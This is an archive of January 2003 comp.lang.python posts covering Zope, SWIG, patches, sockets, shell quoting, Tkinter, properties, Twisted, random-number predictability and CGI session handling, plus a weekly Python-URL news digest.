   ~*~  |__|R?cursif: \____/ adj, cf R?cursif.
"Quand le sage montre la lune, l'imb?cile regarde le doigt."



From efp at uts.cc.utexas.edu  Tue Jan 14 17:18:23 2003
From: efp at uts.cc.utexas.edu (Elias Ponvert)
Date: 14 Jan 2003 14:18:23 -0800
Subject: Zope on Port 80
Message-ID: <a8baab8f.0301141418.f54cfe2@posting.google.com>

Apologies if this is a FAQ, I've not seen it anywhere.

Is there any reason _not_ to run Zope on port 80 of, say,
mymachine.foo.com? Assume that I'm OK with mymachine only running
Zope. Are there other reasons? Security? Caching?

Yours, with thanks, Newbie Elias



From wyojustin at hotmail.com  Thu Jan 23 23:05:09 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Thu, 23 Jan 2003 23:05:09 -0500
Subject: Is it possible to statically link Python into a C/C++ program?
References: <c718a6cf.0301231940.643f34be@posting.google.com>
Message-ID: <yaadnQUA3uzrJq2jXTWc3w@comcast.com>

Check out SWIG.  I use it all the time.  Pointers, arrays and structs make
you work for it but the result is worth it.

http://www.swig.org/Doc1.1/HTML/Python.html

Justin Shaw





From gerhard.haering at gmx.de  Fri Jan  3 17:33:36 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 3 Jan 2003 22:33:36 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com>
Message-ID: <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de>

Grant Edwards wrote:
> A couple months back I fixed the termios module so that various
> functions (tcdrain, etc.) were thread-aware.
> 
> However, I've not been able to figure out how to submit a
> patch. I found the web page that allows one to browse existing
> patches.  How do I submit one?

Does this answer some of your questions:

http://www.python.org/dev/devfaq.html#patches

?

I personally make patches like this:

keep an original Python source tree in python.orig/ and keep my
modified Python source tree in python/, then go to python/ and create
a patch with:

diff -N -r -C 3 ../python.orig/ . >../my_patch.dif

This worked fine so far for me, but has the disadvantage that I need
to keep the two directories in sync/, i. e. a 'cvs update' gets a
little difficult. Any suggestions for a better way are more than
welcome.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From bkelley at wi.mit.edu  Thu Jan 16 09:09:20 2003
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Thu, 16 Jan 2003 09:09:20 -0500
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
Message-ID: <3E26BD10.9010200@wi.mit.edu>

Chris Spencer wrote:
> 	Due to certain design constraints, I must be able to store both integers
> and floating point numbers as strings.  These strings must be able to be
> compared correctly, so things like: "999"<"3432" are not possible.
> 	One option we thought of was padding the strings with zeros, so things
> like: "00000999"<"00003432" would work.  This seems a bit hack-y to me.  I was
> wondering if anyone has a more elegant solution to the problem?
> 
> Chris.
> 

 From the MYSQL documentation the following trick might be useful 
(although maybe not on oracle):

http://www.mysql.com/doc/en/Cast_Functions.html
...
If you are using a string in an arithmetic operation, this is converted 
to a floating-point number.
...

Which means that to do comparisons, simply add 0 to your string values. 
  See below.


create table foo (   a integer not null,   b varchar(60) );
insert into foo values (1, '234');
select * from foo where foo.a < (foo.b + 0);




From maciej at maciejsobczak.com  Thu Jan 16 13:00:55 2003
From: maciej at maciejsobczak.com (Maciej Sobczak)
Date: Thu, 16 Jan 2003 19:00:55 +0100
Subject: Socket communications
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de>
Message-ID: <b06rr3$711$1@SunSITE.icm.edu.pl>

Hi,

"Stefano Covino" <covino at merate.mi.astro.it> wrote in message
news:b06eo8$m0u70$1 at ID-145579.news.dfncis.de...

> Basically, what I want to implement is a very simple protocol.
I need to
> send fixed-length messages, and getting and answer again of
fixed-length.
> The communication should be effective on both side.

If you do not have to implement a particular protocol, then you
can use any other approach for network communications, including
some higher-level ones.

Please follow my signature and find Python tutorials for the
library I maintain to see if it fits your needs.

--
Maciej Sobczak
http://www.maciejsobczak.com/

Distributed programming lib for C, C++, Python & Tcl:
http://www.maciejsobczak.com/prog/yami/






From drjohn at 21cn.edu.cn  Thu Jan  2 02:03:07 2003
From: drjohn at 21cn.edu.cn (Ripper John)
Date: Thu, 2 Jan 2003 15:03:07 +0800
Subject: Q: How to UDPServer ??
References: <auvks1$atb$1@mail.cn99.com> <3E136F3A.5DA5E216@engcorp.com>
Message-ID: <av0o7t$18qc$1@mail.cn99.com>

"Peter Hansen" <peter at engcorp.com> ????????????
:3E136F3A.5DA5E216 at engcorp.com...
> "????" wrote:
> >
> > I have some problems in the quote_srv.py I write as below, quote server
on
> > TCP works well, but I can get no message on the UDP mode, are there some
> > problems in the QutoeMyxinHandler ??
>
> > if __name__=='__main__':
> >     UDPQuoteSrv = UDPServer( ('', quote_port), UDPQuoteHandler )
> >     TCPQuoteSrv = TCPServer( ('', quote_port), TCPQuoteHandler )
> >
> >     UDPQuoteSrv.server_activate()
> >     TCPQuoteSrv.serve_forever()
>
> Looks to me like you need to call serve_forever() on the UDPQuoteSrv
> as well, but of course you can't do that on both servers from the
> same thread and get useful results.  Try changing the last line above
> to use the UDPQuoteSrv and see if it works.
>
> (There may be other mistakes, but this one just stood out.  I can't
> be sure this is the only problem you have as I haven't tried to run
> the code.)
>
> -Peter
>

You are right! serve_forever() can work!
But, how can I run both servers in a .py file?






From maney at pobox.com  Mon Jan 27 21:18:00 2003
From: maney at pobox.com (Martin Maney)
Date: Tue, 28 Jan 2003 02:18:00 +0000 (UTC)
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net>
Message-ID: <b14p8o$q9c$1@wheel2.two14.net>

Carl Banks <imbosol at vt.edu> wrote:
> (And, frankly, I'm rather annoyed that you've come to this
> two-sample-point "conclusion" without examining the method I gave in
> the very post you responded to.)

I'm sorry you have been needlessly annoyed, Carl.  I have indeed seen,
and considered, many more than two proposed solutions to this problem,
but I was writing mostly for the OP's benefit, so I chose to discuss
only the ones that I thought were interesting.  Since you seem to be
asking, I would have to say that the fake loop approach you say you
favor seems to me to be one of the ugliest proposals, exactly because
it abuses a control structure that normally has well-known behavior. 
Of course tastes differ when you're twisting a tool into doing
something it doesn't wish to do, which was perhaps the ultimate point
of my small treatise on contorted Python.




From mwm at mired.org  Thu Jan 30 11:23:16 2003
From: mwm at mired.org (Mike Meyer)
Date: Thu, 30 Jan 2003 16:23:16 GMT
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com> <3E389466.8789FA1A@alcyone.com> <48633651.0301300317.174e5e1b@posting.google.com>
Message-ID: <x7fzra1ua2.fsf@guru.mired.org>

migmog99 at hotmail.com (Andrew) writes:

> DUH.... Erik, I should have read more closely.....
> 
> ... I need the slash. Then it works. The thing is I've never been
> completely happy with my understanding of Unix quoting.
> 
> Can anyone explain why putting the slash in makes a difference?

Because variables inside "'s are expanded. So it's expanding it in the
command line on this side instead of passing it to the remote
shell. Backquoting it passes the $ sign to the remote shell, which
then expands it.

> Also, how do I get rid of the stty error messages?

Those are coming from your .shrc, or .bashrc, or whatever rc files
your shell uses. At least, you hope they are coming from those, and
not the system rc files for your shell. You need to put the two stty
invocations in a test like so:

if [ test -t 0 ];
then
    stty <stuff>
    stty <stuff>
fi

or, maybe

if [ tty -s ];
then
    stty <stuff>
    stty <stuff>
fi

You may have to check more than one rc file to find them all.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From mwh at python.net  Tue Jan 14 12:06:31 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 14 Jan 2003 17:06:31 GMT
Subject: Reload modules?
References: <iqcp1vo552354r8i2nqkj0pmf3l03ko5pp@4ax.com>
Message-ID: <7h3r8bfr77n.fsf@pc150.maths.bris.ac.uk>

Afanasiy <abelikov72 at hotmail.com> writes:

> The main python script I execute from my python-embedded application
> imports some modules. In order for my application to recognize changes
> to those python scripted modules, I must restart it. However, changes to
> the main script itself are recognized without restarting my application.

I'm afraid the above doesn't make a whole lot of sense to me, but:

> Can I force a reload of modules while the application is running?

What does the reload builtin not do that you need?

Cheers,
M.

-- 
  Just getting something to work usually means writing reams of code
  fast, like a Stephen King novel, but making it maintainable and
  high-quality code that really expresses the ideas well, is like
  writing poetry.  Art is taking away.  -- Erik Naggum, comp.lang.lisp



From rcellis at email.com  Sat Jan 11 00:29:36 2003
From: rcellis at email.com (R. C. Ellis)
Date: Sat, 11 Jan 2003 05:29:36 GMT
Subject: Can't get Tkinter to work - Python 2.2 and RedHat 8
Message-ID: <3E1FAC06.9030709@email.com>

Apparently RedHat 8 doesn't install the Tkinter libs, so I downloaded, 
built and installed the latest 2.2 release.  I located lib-tk and put 
that in a PYTHONPATH environment variable, but things like Idle and 
"from Tkinter import *" can't find it.

I must be missing something, but I can't figure out what.

RC




From florian.proff.schulze at gmx.net  Fri Jan 17 16:22:30 2003
From: florian.proff.schulze at gmx.net (Florian Schulze)
Date: Fri, 17 Jan 2003 22:22:30 +0100 (Westeuropäische Normalzeit)
Subject: buffer overflow
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHAEANEJAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHAEANEJAA.tim.one@comcast.net>
Message-ID: <Mahogany-0.64.2-1160-20030117-222230.00@crowproductions.de>

On Fri, 17 Jan 2003 14:16:38 -0500 Tim Peters <tim.one at comcast.net> wrote:

> [Florian Schulze, on a segfaulting buffer() example]
> > This should easily be resolved by proper reference counting. Then it
> would
> > point to the old list object, but I think seen pythonically this is
> even
> > correct.
> 
> Nope -- the buffer object captures a memory address not associated with
> any
> Python object, so there's no refcount to *be* bumped.  That memory can
> get
> recycled and the buffer object pointing to it has neither a way to stop
> ir
> nor to know about it when it happens.  Dig into the Python-Dev archive
> for
> years of argument about this.  The current buffer object is plain broken.
> That goes a long way toward explaining why you rarely hear about it, BTW
> <wink>.
> 
> dead-feature-walking-ly y'rs  - tim

Ahhh, now I understand why things like readinto aren't documented. I try to
look into the Python-Dev archives later. Are there any plans to fix the
buffer object to do it right by implementing it differently? I think there
are some places where a correct buffer object could speed up execution or
lead to more efficient algorithms, reading binary data from files into
things like numeric arrays for example.

Florian








From marklists at mceahern.com  Wed Jan 29 17:17:57 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Wed, 29 Jan 2003 16:17:57 -0600
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!) 
In-Reply-To: <200301291839.h0TIdXjL028546@ratthing-b246.strakt.com>
Message-ID: <JHEOKEOOLIGLDHCMAHMOGEGFFPAA.marklists@mceahern.com>

[Laura Creighton [mailto:lac at strakt.com]]
> Or perhaps it won't be.   read http://www.python.org/peps/pep-0666.html

That remains my favorite PEP.  And I don't even know what the hell treacle
is!

Cheers,

// m

-





From ianb at colorstudy.com  Sun Jan 26 22:13:24 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 26 Jan 2003 21:13:24 -0600
Subject: PEP 8 and properties
In-Reply-To: <3E348001.10406@privacy.net>
References: <f57664b9.0301191717.2fa584d5@posting.google.com>
	 <v2mlb2s499teb2@news.supernews.com>
	 <f57664b9.0301201645.1f10b82b@posting.google.com>
	 <v2pcp0eckg7tdd@news.supernews.com>
	 <mailman.1043357026.17812.python-list@python.org>
	 <3E348001.10406@privacy.net>
Message-ID: <1043637203.21457.65.camel@lothlorien>

On Sun, 2003-01-26 at 18:40, Greg Ewing (using news.cis.dfn.de) wrote:
> Ian Bicking wrote:
> 
>  > On Mon, 2003-01-20 at 20:41, John Roth wrote:
>  >
>  > I feel like there's other cases I haven't come up with, where the rules
>  > I've decided on so far don't apply, or they do but I disagree with them
>  > for that case.
> 
> 
> One case I'm particularly interested in is things like the
> position and size of a widget in a GUI. This is something
> I'll be thinking about when I get back to my Python GUI
> project. Currently I'm using accessor methods for these,
> and I'll have to decide whether to switch over to using
> properties.
> 
> What do people think about these? Changing them has some
> pretty obvious side effects, yet it still seems easy to
> see them as attributes that can be examined and changed.
> Are they side-effectish enough that they shouldn't
> be properties?

Good point -- I should say that "side-effect" is only bad if that's when
you're accessing the attribute.  Setting the attribute *always should*
have a side effect, though that might only be a side effect of having a
different value for the attribute.  

It's entirely possible, for instance, that your widget polls the
attribute and updates its position regularly.  Of course this is
inefficient, but it's valid.  There's all sorts of situations where it's
hard to distinguish if the attribute's change is reflected elsewhere
because some other code is looking at that attribute, or if changing the
attribute directly triggers a change elsewhere.  This is *exactly* what
property is meant to be used for, to allow refactoring from one
situation to another.

It's still valid to use methods for all of it, but if you want to use
property then coordinates would be a good place to start.

Maybe it would be more confusing if you chopped off coordinates (to fit
the widget its container, for instance).  Then you could get something
like
    >>> widget.x = 1000
    >>> widget.x
    500
and this would seem disturbing.  But then I find it disturbing if that
happens even with methods, if the methods don't give the impression you
are asking the object to do something, not telling it so.  I'd expect an
exception in either case.

But if the object moves on its own that's probably okay.  That happens
all the time, even without using properties.


-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From andrew-pythonlist at puzzling.org  Fri Jan  3 21:41:33 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 4 Jan 2003 13:41:33 +1100
Subject: Threaded server in python!?
In-Reply-To: <av4u4r$v3c$06$1@news.t-online.com>
References: <av4u4r$v3c$06$1@news.t-online.com>
Message-ID: <20030104024133.GA31035@frobozz.local>

On Fri, Jan 03, 2003 at 10:10:53PM +0100, Achim Domma wrote:
> Hi,
> 
> I would like to implement my own http chat server. As far as I know pythons
> threads are not very efficient due to the global interpreter lock. But
> applications like Zope, Webware, ... work fine and they use threads. Am I
> missing something or could somebody post some experiences (good ones and bad
> ones) with threaded, socked based python servers.

Why do you think you need threads to do this?

Using a library like Twisted <http://twistedmatrix.com/>, it's
straightforward to handle multiple sockets, without needing threads.

As a bonus, Twisted has implementations of many common protocols, ready for
you to use and adapt to your problem -- I strongly recommend it, as I
suspect you will find it *much* easier than the alternatives.

If you do use threads though, the GIL still isn't that much of a problem --
it only means one thread can be executing pure python code at once, which is
hardly a limitation on your average single-cpu system.  I/O operations like
reading from a socket happen in C, so they don't hold GIL... besides, why do
you care about the efficiency of software you haven't written yet?  In my
experience, with Twisted, Zope, and even written-from-scratch servers,
Python is more than up to the tasks I've given it.  My problems are always
bugs, not performance :)

Regards,

-Andrew.





From skip at pobox.com  Mon Jan 27 17:25:28 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 16:25:28 -0600
Subject: Generating Unique Keys
In-Reply-To: <200301272205.OAA25820@mail.arc.nasa.gov>
References: <1043511783.4939.1.camel@refugeeMedia>
        <mailman.1043531155.16388.python-list@python.org>
        <7xfzrgq3su.fsf@ruckus.brouhaha.com>
        <200301272205.OAA25820@mail.arc.nasa.gov>
Message-ID: <15925.45528.270502.97360@montanaro.dyndns.org>

    Chad> In this case, it depends on on the implementation of random().
    Chad> Python's default random.random() is NOT anywhere near
    Chad> unpredictable enough to be secure.  If you see a sequence of
    Chad> random numbers, it is possible (in principle) to 'solve' the seed
    Chad> and sequence, and start predicting the next random numbers.  The
    Chad> details typically amount to solving a linear difference equation
    Chad> (which is doable).

Is this also true for the new-in-2.3 random number generator (Mersenne
Twister)?  I'm not trying to pick nits with your arguments, just asking.  I
know nothing about cryptography or random number generation.

Skip




From claird at lairds.com  Mon Jan  6 08:08:29 2003
From: claird at lairds.com (Cameron Laird)
Date: Mon, 06 Jan 2003 13:08:29 -0000
Subject: Re. Python vs. Perl
References: <mailman.1041829871.6794.python-list@python.org> <ou1y3qrd4u.fsf@andlx-anamika.cisco.com>
Message-ID: <v1ivudmdckah0f@corp.supernews.com>

In article <ou1y3qrd4u.fsf at andlx-anamika.cisco.com>,
Ganesan R  <rganesan at myrealbox.com> wrote:
>>>>>> "Amol" == Amol Sonaikar <amol at kenati.com> writes:
>
>> Hi
>> Thanks for your replies guys. Can python can be used in synch with Expect? 
>> How the env should be set then? 
>
>What do you mean by "in synch with Expect"? If you want expect like
>functionality in python use pexpect (http://pexpect.sf.net). You don't need
>Expect installed.
			.
			.
			.
There are also several useful ways to combine
Python and Tcl (or Expect) functionality.  In
the unlikely event pexpect doesn't meet your
needs, say what they are more explicitly, and
it's likely we'll be able to point you to
existing software that might better satisfy
you.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From wurmy at earthlink.net  Thu Jan  9 18:18:26 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Thu, 09 Jan 2003 23:18:26 GMT
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org> <3E1B74F8.2020200@earthlink.net> <13a533e8.0301081209.1e9fdb49@posting.google.com>
Message-ID: <3E1E0426.5070705@earthlink.net>

Peter Abel wrote:

> Hans Nowak <wurmy at earthlink.net> wrote in message news:<3E1B74F8.2020200 at earthlink.net>...
> 
>>   l = []
>>   for i in range(256):
>>       l[i] = chr(i)
> 
> Sorry Hans, your last statement result in an IndexError:
> Traceback (most recent call last):
>   File "<interactive input>", line 2, in ?
> IndexError: list assignment index out of range
> 
> You can't adress an element that isn't initiated!

You're right of course. I meant to write

   l.append(chr(i))

instead of

   l[i] = chr(i)

That'll teach me to test code that I post, or at least try it in the 
interactive interpreter... >_<

Cheers,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From martin at v.loewis.de  Wed Jan 15 08:01:23 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 15 Jan 2003 14:01:23 +0100
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>
Message-ID: <m3vg0qefdo.fsf@mira.informatik.hu-berlin.de>

"Rudy Schockaert" <rudy.schockaert at pandora.be> writes:

> I'm looking for a function that allows me to do a binary search in a file.
> By binary search I mean searching for a sequence of bytes

If you can accommodate to put the entire file into memory, I recommend
the lines

data = open("filename","rb").read()
position = data.find(binary_substring)

Here, binary_substring is the string object that you search for.

If you cannot read the entire file into memory, I recommend to read
sized chunks (of atleast twice the substring size). I'm not aware of a
cookbook-style implementation of such a search algorithm, so when you
are done, please submit it to the cookbook. Make sure you properly
deal with the case where the substring crosses a block boundary.

HTH,
Martin




From max at alcyone.com  Thu Jan  9 19:07:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 16:07:35 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org>
Message-ID: <3E1E0EC7.3575F4CD@alcyone.com>

holger krekel wrote:

> Probably right, although one could try putting the below into
> a file:
> ------------------------------------------------------------
> #!/bin/sh
> 
> # find a specific python version you want to use from
> # e.g. scanning PATH contents
> # but i am far too lazy to write shell scripts now
> # so i shortcut :-)
> python=/usr/bin/python
> 
> $python <<__HERE__
	...

But this is precisely what env does in the first place, so you might as
well just left the bangpath alone.

My point was not that using the (very common, and widely recommended)
bangpath

	#!/usr/bin/env python

won't work, it's just that which Python interpreter it finds depends on
the PATH (because that is precisely what env does).  If you have
multiple intepreters installed, then you may get unpleasant surprises if
you're relying on finding a particular one, since PATHs will vary widely
from interactive shell to cron job to CGI script.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great floodgates of the wonder-world swung open.
\__/ Herman Melville
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From max at alcyone.com  Thu Jan 30 22:08:01 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 30 Jan 2003 19:08:01 -0800
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk>
Message-ID: <3E39E891.780CFC81@alcyone.com>

Phil Mayers wrote:

> It's a contrived example, but I'm sure you see what I mean - the
> function
> cannot block for very long, so it has to queue itself. This code
> quickly
> gets unreadable (the code it *would* be in a thread is over 1k lines!)
> and
> non-technical (well, less technical) people have to be able to write
> it.

As much as I prefer to recommend this as rarely as possible, it sounds
like a threaded approach might really be in order.  This sounds really
like the case where an asynchronous framework (whether it's Medusa or
Twisted or whatever) is going to be have problems because you need to do
a lot of work in between asynchronous I/O polls, and the only
alternative is breaking the work up into chunks which then makes it much
harder to read, debug, and maintain.

Again, I recommend the use of threads very advisedly, as often they
create more problems than they solve, but this sounds like one of those
(fairly rare) cases where they sound like the right tool for the job.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The only way to get rid of a temptation is to yield to it.
\__/ Oscar Wilde
    Bosskey.net: Quake III Arena / http://www.bosskey.net/q3a/
 A personal guide to Quake III Arena.



From dagurp at heimsnet.is  Sat Jan 25 11:14:17 2003
From: dagurp at heimsnet.is (=?ISO-8859-1?Q?Dagur_P=E1ll_Ammendrup?=)
Date: Sat, 25 Jan 2003 16:14:17 +0000
Subject: IDLE Python GUI
In-Reply-To: <3e32a1a6_4@corp.newsgroups.com>
References: <3e32a1a6_4@corp.newsgroups.com>
Message-ID: <b0ud53$15et$4@mikill.isnet.is>


I use PythonWin. It has a lot of bugs but I still love it :)







From mwm at mired.org  Mon Jan 20 14:16:59 2003
From: mwm at mired.org (Mike Meyer)
Date: Mon, 20 Jan 2003 19:16:59 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jan 20)
Message-ID: <v2oipbq92kat35@corp.supernews.com>

QOTW:  "Python does not support buffer overflows, sorry."  Martin v. L=F6wis

"You don't write generic functions because you're sloppy and don't care
about the quality of your input parameters, you write generic functions
because they're the most flexible way of designing a solution."  Bjorn Petersen 


    Cristos Georgiou demonstrates that Guido has a new baby in the house.
        http://groups.google.com/groups?selm=0sd62v02bahqsibivenakajdsgl15ejdpq at 4ax.com

    Gerhard H=E4ring shows how to use a property to provide sanity checks
    on an attribute.
        http://groups.google.com/groups?selm=slrnb2at1n.1hk.gerhard.haering at haering.opus-gmbh.net
    
    Tim Peters explains why you can't do method overloading in Python.
        http://groups.google.com/groups?selm=mailman.1042903834.21968.python-list at python.org
    
    Announcements:
    Scenic Charleroi, Belgium, will host The Second EuroPython Python
    and Zope Conference at the end of June.
	http://www.europython.org/

    ResourcePackage 1.0.0a3 - A tool that makes it possible to import
    binary objects as if they were Python code.
        http://resourcepackage.sourceforge.net/
    
    SimpleTAL - A stand alone implementation of TAL and TALES, the
    language that powers Zope page templates.
        http://www.owlfish.com/software/simpleTAL/index.html
    
    SCons - A python-powered build/make tool.
        http://sourceforge.net/projects/scons/
    
    rlcompleter2 - An autocompleter that shows docstrings and more.
        http://codespeak.net/~hpk/rlcompleter2/


========================================================================

Everything you want is probably one or two clicks away in these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of summarizing action on the
    python-dev mailing list once every other week.
	http://www.python.org/dev/summary/
    Partial archives are at
        http://starship.python.net/crew/mwh/summaries/
        http://www.amk.ca/python/dev

    The Vaults of Parnassus ambitiously collect Python resources
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation has replaced the Python Consortium
    as an independent nexus of activity
        http://www.python.org/psf/

    Cetus does much of the same
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Tenth International Python Conference 
        http://www.python10.org            

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From max at alcyone.com  Mon Jan 13 01:53:04 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 22:53:04 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com> <slrnb1tj4l.k1r.rmunn@rmunnlfs.dyndns.org> <3E22605C.3E4B4E18@alcyone.com>
Message-ID: <3E226250.21D40CBF@alcyone.com>

Erik Max Francis wrote:

> Robin Munn wrote:
>
> >     if sys.version_info < (2,2):    # Require at least Python 2.2
>
> Neglecting you meant >= and not < here, ...

Erf, of course that was the test for printing the graceful exit message
and exiting, not the code which would continue, so your version was
indeed correct.  Sorry about that.

But in, say, version 1.5.2, this code would raise an AttributeError
instead of printing a graceful exit message, which could arguably be
more confusing, so my comment about sys.version_info's recent
introduction is even more salient.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Nothing is so good it lasts eternally
\__/ Florence, _Chess_
    Max Pandaemonium / http://www.maxpandaemonium.com/
 A sampling of Max Pandameonium's music.



From max at alcyone.com  Wed Jan 15 21:37:18 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 18:37:18 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com> <7xr8bekcfc.fsf@ruckus.brouhaha.com> <3E252A3F.EDED1438@alcyone.com> <cb035744.0301151024.54b05668@posting.google.com>
Message-ID: <3E261ADE.D4096E8@alcyone.com>

Will Stuyvesant wrote:

> Thank you too for your comments EMF.
> 
> IP # switches?  That would present the user with the login screen and
> perhaps I can also figure out a way to tell them what happened
> politely.  So they will know and find a better ISP.

It should be easy enough to detect that case, even with a completely
opaque session ticket.  The session ticket will map to a record about
the session, and in that session record you'll know the IP address of
the connecting host.  In the event that the ticket matches but the host
doesn't, you're either catching a cheater or someone with a really
stupid ISP firewall.

If you find that it really becomes a serious problem, you could always
exempt the IP testing for certain subnetworks.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ And there inside our private war / I died the night before
\__/ Sade
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From db3l at fitlinxx.com  Mon Jan  6 12:24:58 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 12:24:58 -0500
Subject: Distributing Python apps
References: <3NhR9.5535$8n5.1039045@news20.bellglobal.com> <u3coap3fz.fsf@fitlinxx.com> <SDIR9.8437$8M3.1412642@news20.bellglobal.com>
Message-ID: <u4r8mdwd1.fsf@fitlinxx.com>

"Norman Skrzypinski" <zypin at sympatico.ca> writes:

> I'd like the software to be available to anyone who has a floppy disk and
> access to a computer.  My first target is the largest group, Windows users;
> but, I don't want to ignore the people who have Mac and Linux.  To me,
